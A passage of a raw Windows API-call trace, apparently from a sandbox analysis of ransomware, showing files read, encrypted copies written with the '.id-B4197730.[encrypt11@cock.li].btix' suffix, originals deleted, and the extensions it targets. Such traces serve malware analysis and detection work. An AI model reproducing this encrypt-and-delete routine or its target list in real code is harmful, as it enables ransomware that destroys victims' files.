[0144.538] lstrlenW (lpString=".ppt") returned 4 [0144.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0144.538] lstrlenW (lpString=".zip") returned 4 [0144.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.538] lstrlenW (lpString=".rar") returned 4 [0144.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.538] lstrlenW (lpString=".bz2") returned 4 [0144.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.538] lstrlenW (lpString=".7z") returned 3 [0144.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0144.538] lstrlenW (lpString=".dbf") returned 4 [0144.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0144.538] lstrlenW (lpString=".1cd") returned 4 [0144.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0144.538] lstrlenW (lpString=".jpg") returned 4 [0144.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.539] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=13784) returned 1 [0144.539] CloseHandle (hObject=0x574) returned 1 [0144.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 0x220 [0144.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0144.539] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.540] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0144.540] GetLastError () returned 0x0 [0144.540] ReadFile (in: hFile=0x574, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x35d8, lpOverlapped=0x0) returned 1 [0144.580] WriteFile (in: hFile=0x560, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x35e0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x35e0, lpOverlapped=0x0) returned 1 [0144.581] ReadFile (in: hFile=0x574, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.581] WriteFile (in: hFile=0x560, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0144.581] SetEndOfFile (hFile=0x560) returned 1 [0144.581] CloseHandle (hObject=0x560) returned 1 [0144.581] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.581] SetEndOfFile (hFile=0x574) returned 1 [0144.584] CloseHandle (hObject=0x574) returned 1 [0144.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.587] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 1 [0144.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0144.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0144.588] lstrlenW (lpString=".doc") returned 4 [0144.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.588] lstrlenW (lpString=".docx") returned 5 [0144.588] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0144.588] lstrlenW (lpString=".pdf") returned 4 [0144.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.588] lstrlenW (lpString=".xls") returned 4 [0144.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.588] lstrlenW (lpString=".xlsx") returned 5 [0144.588] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0144.588] lstrlenW (lpString=".ppt") returned 4 [0144.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0144.588] lstrlenW (lpString=".zip") returned 4 [0144.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.588] lstrlenW (lpString=".rar") returned 4 [0144.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.588] lstrlenW (lpString=".bz2") returned 4 [0144.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.588] lstrlenW (lpString=".7z") returned 3 [0144.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0144.588] lstrlenW (lpString=".dbf") returned 4 [0144.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0144.588] lstrlenW (lpString=".1cd") returned 4 [0144.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0144.588] lstrlenW (lpString=".jpg") returned 4 [0144.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.589] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=7632) returned 1 [0144.589] CloseHandle (hObject=0x574) returned 1 [0144.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 0x220 [0144.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0144.590] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.590] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0144.590] GetLastError () returned 0x0 [0144.590] ReadFile (in: hFile=0x574, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x1dd0, lpOverlapped=0x0) returned 1 [0144.592] WriteFile (in: hFile=0x560, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x1de0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x1de0, lpOverlapped=0x0) returned 1 [0144.593] ReadFile (in: hFile=0x574, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.593] WriteFile (in: hFile=0x560, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0144.593] SetEndOfFile (hFile=0x560) returned 1 [0144.593] CloseHandle (hObject=0x560) returned 1 [0144.593] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.593] SetEndOfFile (hFile=0x574) returned 1 [0144.595] CloseHandle (hObject=0x574) returned 1 [0144.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 1 [0144.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0144.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0144.596] lstrlenW (lpString=".doc") returned 4 [0144.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.596] lstrlenW (lpString=".docx") returned 5 [0144.596] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0144.596] lstrlenW (lpString=".pdf") returned 4 [0144.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.596] lstrlenW (lpString=".xls") returned 4 [0144.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.596] lstrlenW (lpString=".xlsx") returned 5 [0144.596] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0144.596] lstrlenW (lpString=".ppt") returned 4 [0144.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0144.596] lstrlenW (lpString=".zip") returned 4 [0144.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.596] lstrlenW (lpString=".rar") returned 4 [0144.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.596] lstrlenW (lpString=".bz2") returned 4 [0144.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.596] lstrlenW (lpString=".7z") returned 3 [0144.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0144.596] lstrlenW (lpString=".dbf") returned 4 [0144.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0144.597] lstrlenW (lpString=".1cd") returned 4 [0144.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0144.597] lstrlenW (lpString=".jpg") returned 4 [0144.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.597] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=9048) returned 1 [0144.597] CloseHandle (hObject=0x574) returned 1 [0144.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf")) returned 0x220 [0144.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0144.598] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.598] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0144.599] GetLastError () returned 0x0 [0144.599] ReadFile (in: hFile=0x574, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x2358, lpOverlapped=0x0) returned 1 [0144.600] WriteFile (in: hFile=0x560, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x2360, lpOverlapped=0x0) returned 1 [0144.601] ReadFile (in: hFile=0x574, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.601] WriteFile (in: hFile=0x560, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0144.601] SetEndOfFile (hFile=0x560) returned 1 [0144.601] CloseHandle (hObject=0x560) returned 1 [0144.601] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.601] SetEndOfFile (hFile=0x574) returned 1 [0144.603] CloseHandle (hObject=0x574) returned 1 [0144.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.604] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf")) returned 1 [0144.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0144.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0144.604] lstrlenW (lpString=".doc") returned 4 [0144.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.604] lstrlenW (lpString=".docx") returned 5 [0144.604] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0144.604] lstrlenW (lpString=".pdf") returned 4 [0144.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.604] lstrlenW (lpString=".xls") returned 4 [0144.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.604] lstrlenW (lpString=".xlsx") returned 5 [0144.604] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0144.605] lstrlenW (lpString=".ppt") returned 4 [0144.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0144.605] lstrlenW (lpString=".zip") returned 4 [0144.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.605] lstrlenW (lpString=".rar") returned 4 [0144.605] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.605] lstrlenW (lpString=".bz2") returned 4 [0144.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.605] lstrlenW (lpString=".7z") returned 3 [0144.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0144.605] lstrlenW (lpString=".dbf") returned 4 [0144.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0144.605] lstrlenW (lpString=".1cd") returned 4 [0144.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0144.605] lstrlenW (lpString=".jpg") returned 4 [0144.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.605] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=14132) returned 1 [0144.605] CloseHandle (hObject=0x574) returned 1 [0144.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 0x220 [0144.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0144.606] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.606] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0144.607] GetLastError () returned 0x0 [0144.607] ReadFile (in: hFile=0x574, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x3734, lpOverlapped=0x0) returned 1 [0144.608] WriteFile (in: hFile=0x560, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x3740, lpOverlapped=0x0) returned 1 [0144.609] ReadFile (in: hFile=0x574, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.609] WriteFile (in: hFile=0x560, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0144.609] SetEndOfFile (hFile=0x560) returned 1 [0144.609] CloseHandle (hObject=0x560) returned 1 [0144.610] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.610] SetEndOfFile (hFile=0x574) returned 1 [0144.612] CloseHandle (hObject=0x574) returned 1 [0144.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.613] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 1 [0144.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0144.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0144.613] lstrlenW (lpString=".doc") returned 4 [0144.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.613] lstrlenW (lpString=".docx") returned 5 [0144.613] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0144.613] lstrlenW (lpString=".pdf") returned 4 [0144.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.613] lstrlenW (lpString=".xls") returned 4 [0144.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.613] lstrlenW (lpString=".xlsx") returned 5 [0144.613] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0144.613] lstrlenW (lpString=".ppt") returned 4 [0144.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0144.614] lstrlenW (lpString=".zip") returned 4 [0144.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.614] lstrlenW (lpString=".rar") returned 4 [0144.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.614] lstrlenW (lpString=".bz2") returned 4 [0144.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.614] lstrlenW (lpString=".7z") returned 3 [0144.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0144.614] lstrlenW (lpString=".dbf") returned 4 [0144.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0144.614] lstrlenW (lpString=".1cd") returned 4 [0144.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0144.614] lstrlenW (lpString=".jpg") returned 4 [0144.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.615] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=27084) returned 1 [0144.615] CloseHandle (hObject=0x574) returned 1 [0144.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 0x220 [0144.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0144.615] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.615] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft 